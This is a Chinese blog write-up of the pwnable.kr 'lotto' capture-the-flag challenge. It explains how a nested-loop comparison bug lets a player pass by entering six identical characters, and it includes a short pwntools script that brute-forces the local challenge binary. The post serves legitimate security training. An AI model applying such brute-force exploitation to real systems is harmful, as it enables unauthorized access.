pwnable 笔记 Toddler's Bottle - lotto

这题考察审计代码的能力……题目中的for使用有误,导致猜对随机字符中字符的概率增大,可以用脚本暴破解题。

0

题目源码

1
2

题目分析

题目的关键代码如下:
for

首先生成一个了长度为6的由ASCII(1-45)组成的随机字符串lotto,然后用for循环逐个字符的比较我们输入的字符串submit与随机字符串lotto,当有6个字符完全相同时,打印flag。

这个比较操作的本意是比较submitlotto对应位置的6个字符,也就是说lotto的第一个字符和submit的第一个字符比较,lotto的第二个字符和submit的第二个字符比较……

但是这里用了两个for循环,比较操作变成了submit中的每一个字符分别与lotto中的每一个字符作比较,如果相等,则match++。也就是比较操作一共进行了6*6=36次,变量match的取值是0到36之间的一个数字。

最后只要match == 6就可以得到flag

解题思路

为了让match正好等于6,只需要用户输入六个相同字符即可

这样就有6*(1/44)的概率让match == 6

算了一下差不多有14%的概率猜对

虽说概率很大,但是手动地一次一次输入显得很low,于是写脚本解题,如下:
ok

解题脚本

    #!/usr/bin/python   

    from pwn import *  

    target = process("./lotto")  

    flag = 2  
    while flag:  
        s = target.readuntil("Exit\n")  
        if "bad" not in s:  
            print s  
            flag -= 1  
        target.sendline("1")  
        k = target.read()  
        target.sendline(chr(43)*6)  

    # run it in /tmp  
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TaQini852

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值